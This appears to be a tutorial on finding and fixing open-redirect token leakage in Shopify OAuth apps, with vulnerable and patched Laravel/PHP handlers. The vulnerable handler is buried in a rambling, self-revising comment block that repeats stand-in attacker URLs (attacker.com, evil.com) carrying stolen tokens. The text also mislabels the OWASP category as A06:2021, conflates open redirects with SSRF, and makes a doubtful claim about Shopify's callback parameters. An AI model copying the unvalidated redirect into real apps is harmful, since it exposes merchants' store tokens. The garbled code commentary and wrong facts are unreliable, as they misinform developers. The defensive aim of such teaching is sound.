Mitigating OWASP Top 10 Risks: Finding and Patching access token leakages via unvalidated application redirections in Shopify
Understanding the Vulnerability: Unvalidated Redirects and Access Token Leakage
Shopify applications, particularly those leveraging OAuth for authentication, are susceptible to a critical OWASP Top 10 vulnerability: “Server-Side Request Forgery” (SSRF) and its close cousin, “Unvalidated Redirects and Forwards” (A06:2021). When an application redirects a user after authentication or an action, and the redirect URL is not properly validated, an attacker can manipulate this mechanism to leak sensitive information, such as access tokens. This is particularly dangerous in the context of Shopify apps, where access tokens grant broad permissions to a merchant’s store data.
The core of the problem lies in how OAuth flows often involve redirecting the user back to the application after authorization. If the redirect URI parameter (often `redirect_uri` or similar) is not strictly validated against a predefined, allowlisted set of URIs, an attacker can craft a malicious link that, when clicked by an authenticated user or administrator, redirects them to an attacker-controlled server. If the access token is appended to this redirect URL (a common, though insecure, practice), the attacker can capture it.
Identifying Potential Leakage Points
The first step in mitigation is identification. We need to scrutinize the application’s OAuth flow and any other redirection mechanisms. Key areas to inspect include:
- The OAuth authorization callback endpoint: This is the most common vector. Ensure the `redirect_uri` parameter is validated.
- Any user-facing links that trigger redirects after an action (e.g., “Return to your dashboard,” “View order details”).
- API endpoints that might return redirect URLs as part of their response.
Consider a typical Shopify OAuth flow. After a user authorizes your app, Shopify redirects them back to your specified `redirect_uri` with an authorization code. Your app then exchanges this code for an access token. If your app later redirects the user to another URL, and this URL is dynamically constructed or derived from user input without sanitization, it becomes a risk.
Code Analysis: Detecting Vulnerable Redirects
Let’s examine a hypothetical PHP example of a vulnerable redirect handler. This code snippet illustrates how an attacker might exploit a poorly validated redirect.
Imagine a route handler in a Laravel application (or any PHP framework) that processes a redirect after a successful operation:
Vulnerable PHP Redirect Handler
In this scenario, the `next_url` parameter is taken directly from the request and used in a redirect. If an attacker can control `next_url` and append the access token (which might be stored in a session or cookie and accessible during the redirect), they can exfiltrate it.
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Redirect;
use Illuminate\Support\Facades\Session;
class PostOperationController extends Controller
{
public function complete(Request $request)
{
// Assume some operation is completed successfully.
// ...
$nextUrl = $request->input('next_url'); // User-controlled input
// PROBLEM: $nextUrl is not validated.
// If an attacker crafts a URL like:
// https://your-shopify-app.com/complete?next_url=https://attacker.com/?token={{access_token}}
// and the application logic somehow appends the access token to this URL before redirecting,
// or if the token is already part of the $nextUrl string due to a flaw elsewhere,
// it can be leaked.
// A more direct leak scenario:
// If the application stores the access token in a way that's accessible
// and then constructs a redirect URL that *includes* the token,
// and that URL is derived from user input.
// Example of a flawed redirect construction:
$accessToken = Session::get('shopify_access_token'); // Hypothetical access token retrieval
// This is a DANGEROUS pattern if $nextUrl is not validated.
// If $nextUrl was crafted by an attacker to include a malicious domain,
// and the application logic *appends* the token to it.
// Or if the attacker crafts $nextUrl to *already contain* a placeholder
// that the application *then* replaces with the token.
// A more common scenario is the attacker controlling the *entire* redirect URL.
// Let's simulate a direct leak via a crafted $nextUrl:
// Attacker crafts: https://your-app.com/redirect-handler?target=https://evil.com?token=...
// And the application logic is:
// $target = $request->input('target');
// return Redirect::to($target); // Vulnerable!
// For this example, let's assume the attacker controls $nextUrl directly
// and the application simply redirects to it.
// The *real* danger is when the token is *appended* or *embedded* by the app.
// A more realistic scenario for token leakage via redirect:
// The app redirects to a *known* endpoint, but the attacker manipulates
// a parameter that *influences* the final redirect URL, or the token
// is passed as a query parameter in the initial request that leads to this redirect.
// Let's refine the vulnerability: The attacker controls a parameter that
// *becomes part of* the redirect URL, and the token is also present.
// Consider a scenario where the app redirects to a *different* Shopify resource,
// and the attacker manipulates the target URL.
// A common pattern is redirecting back to the app's own domain, but with parameters.
// If the attacker can inject a malicious domain into a parameter that is then
// used to construct the final redirect URL, and the token is also present.
// Let's simplify to the core issue: Unvalidated redirect URI.
// If the application allows redirecting to *any* URL provided by the user,
// and the access token is somehow present in the context of that redirect.
// Consider this:
// The app receives a request like:
// GET /redirect-to?url=https://attacker.com/steal?token=...
// And the handler is:
// $url = $request->input('url');
// return Redirect::to($url); // VULNERABLE
// In a Shopify context, the token is usually obtained *after* the initial OAuth redirect.
// The risk is *after* the token is obtained.
// If your app has a feature that says "Go back to your store" and the store URL
// is somehow manipulated or the redirect URL is constructed insecurely.
// Let's assume the application has a generic redirect endpoint:
// GET /go-to?destination=https://some-external-site.com
// If the application logic is:
$destination = $request->input('destination');
if ($destination) {
// PROBLEM: No validation of $destination.
// If an attacker crafts:
// https://your-shopify-app.com/go-to?destination=https://evil.com/?token={{access_token}}
// And the application logic *appends* the token to the destination URL
// (which is bad practice, but happens).
// Or, if the attacker controls the *entire* destination URL and the token
// is already part of the session/context that the redirect handler can access.
// A more direct attack:
// The attacker crafts a URL that *includes* the token and redirects to an external site.
// https://your-shopify-app.com/redirect-handler?malicious_url=https://attacker.com/capture?token=...
// And the handler is:
// $maliciousUrl = $request->input('malicious_url');
// return Redirect::to($maliciousUrl); // VULNERABLE
// Let's assume the attacker controls the *entire* redirect URL.
// The application might have a mechanism to redirect users to external links.
// If the token is available in the session and the redirect URL is constructed
// insecurely, or if the attacker can inject the token into the URL itself.
// The most straightforward vulnerability:
// The application accepts a URL parameter and redirects to it without validation.
// If the token is available in the session and the attacker can craft a URL
// that includes the token and redirects to an attacker-controlled domain.
// Example: A "share" feature that takes a URL.
// GET /share?url=https://example.com
// If the app logic is:
// $url = $request->input('url');
// return Redirect::to($url); // VULNERABLE
// In the context of Shopify, the access token is often obtained via OAuth.
// After obtaining the token, if your app redirects the user to a URL
// that is constructed from user input, and that URL is not validated,
// an attacker could craft a URL that includes the access token and points
// to their server.
// Let's assume a scenario where after an action, the app redirects to a URL
// provided by the user, and the token is in the session.
$userProvidedUrl = $request->input('redirect_to'); // User input
// If the application logic is:
// return Redirect::to($userProvidedUrl); // VULNERABLE
// The attacker crafts:
// https://your-shopify-app.com/some-endpoint?redirect_to=https://attacker.com/capture?token={{access_token}}
// If the application simply redirects to $userProvidedUrl, the token is leaked.
// A more subtle variant: The application redirects to a *trusted* domain,
// but allows parameters to be injected that could lead to token leakage.
// E.g., redirecting to the Shopify Admin API, but injecting parameters.
// For this example, we focus on the direct redirection to an arbitrary URL.
// The critical part is that $userProvidedUrl is NOT validated.
// Let's assume the token is available in the session.
$accessToken = Session::get('shopify_access_token'); // Hypothetical
// If the attacker can craft the URL to include the token:
// https://your-shopify-app.com/redirect-handler?target=https://evil.com/steal?token=...
// And the handler is:
// $target = $request->input('target');
// return Redirect::to($target); // VULNERABLE
// The key is that the application trusts the 'target' parameter.
// Let's use a more concrete example of a vulnerable redirect.
// Assume a route: /redirect-to-external
// GET /redirect-to-external?url=https://some-site.com
// The handler:
$externalUrl = $request->input('url');
// VULNERABILITY: No validation of $externalUrl.
// An attacker can craft:
// https://your-shopify-app.com/redirect-to-external?url=https://attacker.com/capture?token=...
// If the application logic is simply:
return Redirect::to($externalUrl); // DANGEROUS!
}
// Fallback redirect if no URL is provided
return Redirect::to('/dashboard');
}
}
?>
Exploitation Scenario
An attacker discovers a URL on your Shopify app, e.g., /redirect-handler?target=https://trusted-partner.com. They craft a malicious link:
https://your-shopify-app.com/redirect-handler?target=https://attacker-controlled-server.com/log?token={{access_token}}
If the application’s backend code simply takes the target parameter and redirects to it without validation, and if the access_token is somehow available in the context of this request (e.g., in a session cookie that the attacker can trick the user into sending, or if the token is appended by a flawed backend logic), the attacker’s server will receive the access token. This token can then be used to impersonate the user and access sensitive store data.
Mitigation Strategies: Secure Redirection
The primary defense against unvalidated redirects is strict validation of all redirect targets. This involves maintaining an allowlist of permitted redirect URIs.
1. Implement an Allowlist for Redirect URIs
Never trust user-supplied input for redirect destinations. Instead, compare the provided URL against a predefined, hardcoded list of safe URLs.
Secure PHP Redirect Handler
Here’s how to refactor the previous PHP example to be secure:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Redirect;
use Illuminate\Support\Facades\Session;
use Illuminate\Support\Facades\URL; // For generating URLs
class PostOperationController extends Controller
{
// Define your allowed redirect URIs
private $allowedRedirects = [
'https://your-shopify-app.com/dashboard',
'https://your-shopify-app.com/settings',
'https://your-shopify-app.com/orders/view',
// Add other legitimate internal or trusted external redirect targets
];
public function complete(Request $request)
{
// ... operation logic ...
$requestedRedirect = $request->input('redirect_to'); // User input
// Default redirect if none is requested or if validation fails
$finalRedirectUrl = URL::to('/dashboard'); // Use helper to ensure absolute URL
if ($requestedRedirect) {
// Normalize the input URL for comparison
$normalizedRequestedRedirect = $this->normalizeUrl($requestedRedirect);
// Check if the normalized URL is in our allowlist
if (in_array($normalizedRequestedRedirect, $this->allowedRedirects)) {
$finalRedirectUrl = $requestedRedirect; // Use the user's URL if validated
} else {
// Log this attempt as it might be malicious
\Log::warning('Unvalidated redirect attempt blocked.', [
'user_id' => auth()->id(), // If authenticated
'requested_url' => $requestedRedirect,
'ip_address' => $request->ip(),
]);
// Optionally, redirect to a safe default or show an error
$finalRedirectUrl = URL::to('/dashboard'); // Fallback to dashboard
}
}
return Redirect::to($finalRedirectUrl);
}
/**
* Normalizes a URL for comparison.
* Removes trailing slash, ensures scheme is present, etc.
* This is a basic example; a robust solution might use a proper URL parsing library.
*/
private function normalizeUrl(string $url): string
{
$parsedUrl = parse_url($url);
if (!$parsedUrl) {
return ''; // Invalid URL
}
$scheme = $parsedUrl['scheme'] ?? 'https'; // Default to https if missing
$host = $parsedUrl['host'] ?? '';
$path = $parsedUrl['path'] ?? '';
$query = isset($parsedUrl['query']) ? '?' . $parsedUrl['query'] : '';
$fragment = isset($parsedUrl['fragment']) ? '#' . $parsedUrl['fragment'] : '';
// Remove trailing slash from path if it exists and path is not just '/'
if ($path !== '/' && substr($path, -1) === '/') {
$path = rtrim($path, '/');
}
// Reconstruct the URL, ensuring it's absolute and clean
$normalized = "{$scheme}://{$host}{$path}{$query}{$fragment}";
// For strict allowlisting, we might only care about scheme and host
// or a full path match. Here, we're matching full URLs.
return $normalized;
}
// Example for OAuth redirect_uri validation
public function handleOAuthCallback(Request $request)
{
$redirectUri = $request->input('redirect_uri');
$expectedRedirectUri = config('services.shopify.redirect_uri'); // From your .env or config
if ($redirectUri !== $expectedRedirectUri) {
\Log::error('Invalid redirect_uri received during OAuth callback.', [
'received' => $redirectUri,
'expected' => $expectedRedirectUri,
]);
// Handle error: Invalid redirect URI
return response('Invalid redirect URI', 400);
}
// Proceed with OAuth code exchange...
// ...
}
}
?>
2. Use URL Generation Helpers
When generating internal redirects, always use your framework’s URL generation helpers (e.g., URL::to('/dashboard') in Laravel, url_for in Ruby on Rails). These helpers construct absolute URLs based on your application’s configuration, reducing the chance of errors and making it easier to manage your application’s base URL.
3. Validate OAuth `redirect_uri` Parameter
The redirect_uri parameter in the OAuth flow is critical. When Shopify redirects the user back to your application after authorization, it sends the code and the redirect_uri. Your application MUST verify that the received redirect_uri exactly matches the one registered with Shopify for your application. Any mismatch indicates a potential attack or misconfiguration.
4. Avoid Appending Tokens to Redirect URLs
Never append sensitive information like access tokens directly to redirect URLs, especially if those URLs are user-controlled or can be influenced by user input. If a token is required for a subsequent request, pass it in a secure HTTP header (e.g., Authorization: Bearer <token>) or within the request body, not as a query parameter.
5. Implement Logging and Monitoring
Log all attempted redirects to non-allowlisted URLs. Monitor these logs for suspicious activity. A high volume of blocked redirect attempts from a single IP address or user could indicate an active exploitation attempt.
Testing for Vulnerabilities
After implementing mitigations, thorough testing is essential. Use tools like Burp Suite or OWASP ZAP to actively probe your application’s redirect functionalities. Try to:
- Inject malicious URLs into parameters that are expected to be redirect targets.
- Attempt to redirect to external domains, including those that log request parameters.
- If possible, try to manipulate parameters that influence the final redirect URL construction.
- Ensure that the OAuth callback strictly validates the `redirect_uri`.
Manually test by crafting URLs that include your application’s domain followed by a vulnerable endpoint and a malicious external URL as a parameter, ensuring your allowlist logic correctly blocks these attempts.
Conclusion
Unvalidated application redirections are a subtle but dangerous vulnerability that can lead to sensitive data leakage, including critical access tokens. By implementing strict allowlisting for all redirect URIs, validating OAuth callback parameters, and avoiding insecure practices like appending tokens to URLs, you can significantly strengthen your Shopify application’s security posture against this common OWASP Top 10 risk.